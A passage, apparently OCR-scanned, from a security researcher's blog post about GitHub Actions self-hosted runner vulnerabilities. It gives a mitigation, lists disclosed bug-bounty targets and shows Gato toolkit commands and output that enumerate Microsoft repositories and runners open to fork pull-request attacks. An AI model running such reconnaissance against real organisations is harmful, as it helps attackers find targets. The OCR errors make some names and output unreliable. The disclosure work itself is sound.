July 26th, 2023 - Removed Persistence

November 14th, 2023 - Resolved and bounty Awarded

Mitigations

The easiest way to mitigate this class of vulnerability is to change the default setting of ‘Require
approval for first-time contributors’ to ‘Require approval for all outside collaborators’. It is a
no-brainer for any public repository that uses self-hosted runners to ensure that they are using
the restrictive setting.

Fork pull request workflows from outside collaborators

Choose which subset of outside collaborators will require approval to run workflows on their pull requests.

Require approval for first-time contributors who are new to GitHub

) Require approval for first-time contributors

Require approval for all outside collaborators

Save

Default fork pull request approval setting

An attacker can still try to conduct this attack by tricking a maintainer into clicking the approve
button, but that has a much lower chance of success and would require creativity on part of the
attacker in order to hide their injection payload among a much larger legitimate PR.

Beyond this, there are many solutions to apply defense in depth measures to self-hosted runners,
and that will be a topic for a future post. But the key thing is: it is really challenging to design a
solution where you allow anyone to run arbitrary code on your infrastructure and not have some
risks.

There Was More, Much More

After disclosing this vulnerability, | quickly realized this issue was systemic. | decided to team up
with one of my colleagues, John Stawinski, to find, exploit, and report this vulnerability class
against organizations with high-paying bug bounty programs. Between my disclosure to GitHub,
and the bounties earned afterward, we did pretty well for ourselves, and have a few additional
disclosures currently under wraps that should eventually pay out.


https://johnstawinski.com/

During these few months, we refined techniques to exploit all kinds of self-hosted runner
configurations, from Linux, MacOS, Windows, and even ephemeral self-hosted runners using Actio
ns Runner Controller. While conducting several of our operations we managed to gain enough
access to pose an existential threat to some organizations - this was not the norm, but when a
vulnerability drops an attacker right in a company’s DevOps environment, as root, with access to
pipeline secrets, there is often little that an attacker can't do. While most of our disclosures were
made under strict confidentiality agreements, there were some big disclosures that we can talk
about:

e PyTorch

e Tensorflow

e Microsoft DeepSpeed
e Chia Networks

We hope to dive into all of our techniques and some thrilling post-exploitation stories if we are
accepted to a large security conference located in Las Vegas Summer 2024!

Old Gato, New Tricks

| can't finish this blog post without mentioning the core discovery engine we used to identify
vulnerable repositories: GitHub Attack TOolkit, or Gato for short. In January 2023, to coincide
with our ShmooCon 2023 talk, |, alongside my colleagues Matt Jackoski and Mason Davis wrote
and released https://github.com/praetorian-inc/gato. The tool's original aim was to identify the
blast radius of a compromised PAT, with an emphasis on lateral movement paths via self-hosted
runners. This was a technique we leveraged on a red team in Summer 2022, and it was the focus
of our talk “Phantom of the Pipeline: Abusing Self-Hosted Runners.”

The tool also had public repository enumeration as a “nice to have” feature.

Since then I've continued development of the tool and added features along the way to improve its
speed, efficiency, attack capabilities. In its current state Gato is a full featured GitHub Actions


https://github.com/actions/actions-runner-controller
https://github.com/actions/actions-runner-controller
https://github.com/pytorch/pytorch/
https://github.com/tensorflow/tensorflow
https://github.com/microsoft/deepspeed
https://github.com/chia-Network/chia-blockchain
https://github.com/praetorian-inc/gato

pipeline enumeration and attack toolkit. Most of the vulnerable repositories we conducted
operations against we discovered through Gato.

Check out an example of how easily Gato can discover self-hosted runners on Microsoft's public
repositories with just two commands.

» GH_TOKEN='gh auth token‘ gato -s s -sg -t microsoft —oT ms_runner_repos.txt
Searching SourceGraph with the default Gato quer ('self-hosted' OR (/runs—on/ AND NOT /(ubuntu—16,0ﬂ|ubuntu—lB,GﬂJubuntu
-20.0u|ubuntu-22 .04 |ubuntu-latest |windows-2019 |windows-2822 |windows-latest |macos-11|macos-12|macos-13|macos-12-x1 |macos-13-x1|
macos-latest |matrix.[a-zA-Z]\s)/)) repo:microsoft/ lang:YAML file:.github/workflows/ count:30000
Identified 32 non—fork repositories that matched the criterial

microsoft/bcsamples—onboarding

microsoft/msquic

microsoft/AL-Go-AppSource

microsoft/SdnDiagnostics

microsoft/azure-data-services-go-fast-codebase

microsoft/botbuilder-js

microsoft/DeepSpeed-MII

microsoft/AL-Go-AppSource-Preview

microsoft/sarif-js-sdk

microsoft/vscode-cpptools

microsoft/ALAppExtensions

microsoft/AL-Go-PTE

microsoft/rad

microsoft/mscclpp

microsoft/bcsamples—bingmaps.pte

microsoft/sqlmlutils

microsoft/quicreach

microsoft/igsharp

microsoft/snmalloc

microsoft/ark

microsoft/GLUECoS

microsoft/github-private-runners—on-aks

microsoft/LayoutGeneration

microsoftfopenjdkfdocker

microsoft/superbenchmark

microsoft/coyote

microsoft/fhir-server

microsoft/DeepSpeed-Hernels

microsoft/AL-Go

microsoft/DeepSpeed

microsoft/StigRepo

microsoft/BCApps




> GH_TOKEN="gh auth token' gato -s enumerate -R ms_runner_repos.txt
The authenticated user is: umbrig3
The GitHub Classic PAT has the following scopes:
- Enumerating: microsoft/bcsamples-onboarding!
The repository contains a workflow: _BuildALGoProject.yaml that might execute on self-hosted runners!
- Enumerating: microsoft/msquic!
The repository contains a workflow: build-reuse-unix.yml that might execute on self-hosted runners!
The repository microsoft/msquic contains a previous workflow run that executed on a self-hosted runner!
- The runner name was: @64c21e9c0800801 and the machine name was 06Uc2le9c8BBBO1
] The user can only pull from the repository, but forking is allowed! Only a fork pull-request based attack would be possibl

- Enumerating: microsoft/AL-Go-AppSource!

The repository contains a workflow: CreateOnlineDevelopmentEnvironment.yaml that might execute on self-hosted runners!

- Enumerating: microsoft/SdnDiagnostics!

The repository contains a workflow: server20l19-sdntest-pr.yml that might execute on self-hosted runners!

The repository microsoft/SdnDiagnostics contains a previous workflow run that executed on a self-hosted runner!

- The runner name was: SDN2019 and the machine name was DC

The user can only pull from the repository, but forking is allowed! Only a fork pull-request based attack would be possibl

- Enumerating: microsoft/azure-data-services-go-fast-codebase!
The repository contains a workflow: 82.continuous-delivery-staging.yml that might execute on self-hosted runners!
- Enumerating: microsoft/botbuilder-js!
The repository contains a workflow: tests.yml that might execute on self-hosted runners!
- Enumerating: microsoft/DeepSpeed-MII!
The repository contains a workflow: nv-torch-latest-v168.yaml that might execute on self-hosted runners!
The repository microsaFt/DeepSpeed—HII contains a previous workflow run that executed on a self-hosted runner!
- The runner name was: mii-nv-v10@-runner-24ea2ldd and the machine name was node-@
] The user can only pull from the repository, but forking is allowed! Only a fork pull-request based attack would be possibl

— Enumerating: microsoFt/AL—Go—AppSource—Previewl
The repository contains a workflow: _BuildALGoProject.yaml that might execute on self-hosted runners!
- Enumerating: microsoft/sarif-js—sdk!
The repository contains a workflow: ci.yml that might execute on self-hosted runners!
- Enumerating: microsoFt/vscodefcpptools!
The repository contains a workflow: job-compile-and-test.yml that might execute on self-hosted runners!
- Enumerating: microsoft/ALAppExtensions!
The repnsitury contains a workflow: _BuildALGnPrnject.yaml that might execute on self-hosted runners!
- Enumerating: microsoft/AL-Go-PT
The repository contains a workflow: CreateOnlineDevelopmentEnvironment.yaml that might execute on self-hosted runners!
- Enumerating: microsoft/rad!
The repository contains a workflow: PipelineMain.yml that might execute on self-hosted runners!
The repository microsoft/rad contains a previous workflow run that executed on a self-hosted runner!
— The runner name was: Gh111323test801_0 and the machine name was ghlll323teste8l
The repository contains a non—ephemeral self-hosted runner!
] The user can only pull from the repository, but forking is allowed! Only a fork pull-request based attack would be possibl

- Enumerating: microsoft/mscclpp!
The repository contains a workflow: integration-test-backup.yml that might execute on self-hosted runners!
- Enumerating: microsoft/bcsamples—bingmaps.pte!

Head to the repository and give Gato a spin for yourself, you might be shocked at what you find!
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e https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/

e https://github.com/nikitastupin/pwnhub

e https://0Oxn3va.gitbook.io/cheat-sheets/ci-cd/github/actions

e https://owasp.org/www-project-top-10-ci-cd-security-risks/
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